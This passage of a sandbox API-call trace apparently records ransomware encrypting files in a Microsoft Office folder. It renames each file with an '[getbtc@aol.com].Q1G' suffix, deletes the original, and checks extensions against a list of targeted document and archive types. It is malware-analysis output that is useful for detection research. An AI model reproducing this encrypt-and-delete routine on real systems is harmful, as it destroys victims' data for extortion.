dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.276] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=50544) returned 1 [0255.276] CloseHandle (hObject=0x3dc) returned 1 [0255.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 0x20 [0255.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.276] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.276] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.277] GetLastError () returned 0x0 [0255.277] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xc570, lpOverlapped=0x0) returned 1 [0255.307] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xc580, lpOverlapped=0x0) returned 1 [0255.309] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0255.309] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.309] SetEndOfFile (hFile=0x3d4) returned 1 [0255.594] CloseHandle (hObject=0x3d4) returned 1 [0255.594] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.594] SetEndOfFile (hFile=0x3dc) returned 1 [0256.061] CloseHandle (hObject=0x3dc) returned 1 [0256.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 1 [0256.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.338] lstrlenW (lpString=".doc") returned 4 [0256.338] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0256.338] lstrlenW (lpString=".docx") returned 5 [0256.338] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0256.338] lstrlenW (lpString=".pdf") returned 4 [0256.338] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0256.338] lstrlenW (lpString=".xls") returned 4 [0256.338] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0256.338] lstrlenW (lpString=".xlsx") returned 5 [0256.338] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0256.338] lstrlenW (lpString=".ppt") returned 4 [0256.338] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0256.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.338] lstrlenW (lpString=".zip") returned 4 [0256.338] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0256.338] lstrlenW (lpString=".rar") returned 4 [0256.338] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0256.338] lstrlenW (lpString=".bz2") returned 4 [0256.338] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0256.338] lstrlenW (lpString=".7z") returned 3 [0256.338] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0256.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".dbf") returned 4 [0256.339] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".1cd") returned 4 [0256.339] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".jpg") returned 4 [0256.339] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".doc") returned 4 [0256.339] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString=".docx") returned 5 [0256.339] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0256.339] lstrlenW (lpString=".pdf") returned 4 [0256.339] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString=".xls") returned 4 [0256.339] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0256.339] lstrlenW (lpString=".xlsx") returned 5 [0256.339] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0256.339] lstrlenW (lpString=".ppt") returned 4 [0256.339] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".zip") returned 4 [0256.339] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0256.339] lstrlenW (lpString=".rar") returned 4 [0256.339] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString=".bz2") returned 4 [0256.339] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString=".7z") returned 3 [0256.339] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.339] lstrlenW (lpString=".dbf") returned 4 [0256.339] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0256.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.340] lstrlenW (lpString=".1cd") returned 4 [0256.340] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0256.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0256.340] lstrlenW (lpString=".jpg") returned 4 [0256.340] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0256.340] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0256.340] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0256.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.409] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=668544) returned 1 [0256.415] CloseHandle (hObject=0x390) returned 1 [0256.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll")) returned 0x20 [0256.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString=".doc") returned 4 [0256.430] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString=".docx") returned 5 [0256.430] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0256.430] lstrlenW (lpString=".pdf") returned 4 [0256.430] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString=".xls") returned 4 [0256.430] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString=".xlsx") returned 5 [0256.430] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0256.430] lstrlenW (lpString=".ppt") returned 4 [0256.430] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString=".zip") returned 4 [0256.430] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString=".rar") returned 4 [0256.430] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0256.430] lstrlenW (lpString=".bz2") returned 4 [0256.430] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0256.430] lstrlenW (lpString=".7z") returned 3 [0256.430] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString=".dbf") returned 4 [0256.430] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString=".1cd") returned 4 [0256.430] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0256.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.430] lstrlenW (lpString=".jpg") returned 4 [0256.430] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString=".doc") returned 4 [0256.431] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString=".docx") returned 5 [0256.431] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0256.431] lstrlenW (lpString=".pdf") returned 4 [0256.431] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString=".xls") returned 4 [0256.431] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString=".xlsx") returned 5 [0256.431] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0256.431] lstrlenW (lpString=".ppt") returned 4 [0256.431] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString=".zip") returned 4 [0256.431] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString=".rar") returned 4 [0256.431] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0256.431] lstrlenW (lpString=".bz2") returned 4 [0256.431] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0256.431] lstrlenW (lpString=".7z") returned 3 [0256.431] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString=".dbf") returned 4 [0256.431] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString=".1cd") returned 4 [0256.431] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0256.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0256.431] lstrlenW (lpString=".jpg") returned 4 [0256.431] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0256.431] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.432] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0256.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.432] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0256.433] CloseHandle (hObject=0x3bc) returned 1 [0256.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20 [0256.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.433] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.433] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.434] GetLastError () returned 0x0 [0256.434] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0256.434] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.435] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.435] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0256.435] SetEndOfFile (hFile=0x20c) returned 1 [0256.435] CloseHandle (hObject=0x20c) returned 1 [0256.436] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.436] SetEndOfFile (hFile=0x3bc) returned 1 [0256.442] CloseHandle (hObject=0x3bc) returned 1 [0256.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString=".doc") returned 4 [0256.443] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.443] lstrlenW (lpString=".docx") returned 5 [0256.443] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.443] lstrlenW (lpString=".pdf") returned 4 [0256.443] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString=".xls") returned 4 [0256.443] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString=".xlsx") returned 5 [0256.443] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.443] lstrlenW (lpString=".ppt") returned 4 [0256.443] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString=".zip") returned 4 [0256.443] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString=".rar") returned 4 [0256.443] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString=".bz2") returned 4 [0256.443] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.443] lstrlenW (lpString=".7z") returned 3 [0256.443] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString=".dbf") returned 4 [0256.443] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString=".1cd") returned 4 [0256.443] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.443] lstrlenW (lpString=".jpg") returned 4 [0256.443] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString=".doc") returned 4 [0256.444] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.444] lstrlenW (lpString=".docx") returned 5 [0256.444] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.444] lstrlenW (lpString=".pdf") returned 4 [0256.444] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.444] lstrlenW (lpString=".xls") returned 4 [0256.444] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.444] lstrlenW (lpString=".xlsx") returned 5 [0256.444] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.444] lstrlenW (lpString=".ppt") returned 4 [0256.444] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString=".zip") returned 4 [0256.444] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.444] lstrlenW (lpString=".rar") returned 4 [0256.444] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.444] lstrlenW (lpString=".bz2") returned 4 [0256.444] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.444] lstrlenW (lpString=".7z") returned 3 [0256.444] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString=".dbf") returned 4 [0256.444] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString=".1cd") returned 4 [0256.444] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0256.444] lstrlenW (lpString=".jpg") returned 4 [0256.444] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.444] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0256.445] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0256.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.446] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0256.446] CloseHandle (hObject=0x3bc) returned 1 [0256.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20 [0256.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.446] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.446] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.447] GetLastError () returned 0x0 [0256.447] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0256.447] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0256.448] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.448] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0256.448] SetEndOfFile (hFile=0x20c) returned 1 [0256.448] CloseHandle (hObject=0x20c) returned 1 [0256.449] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.449] SetEndOfFile (hFile=0x3bc) returned 1 [0256.452] CloseHandle (hObject=0x3bc) returned 1 [0256.453] 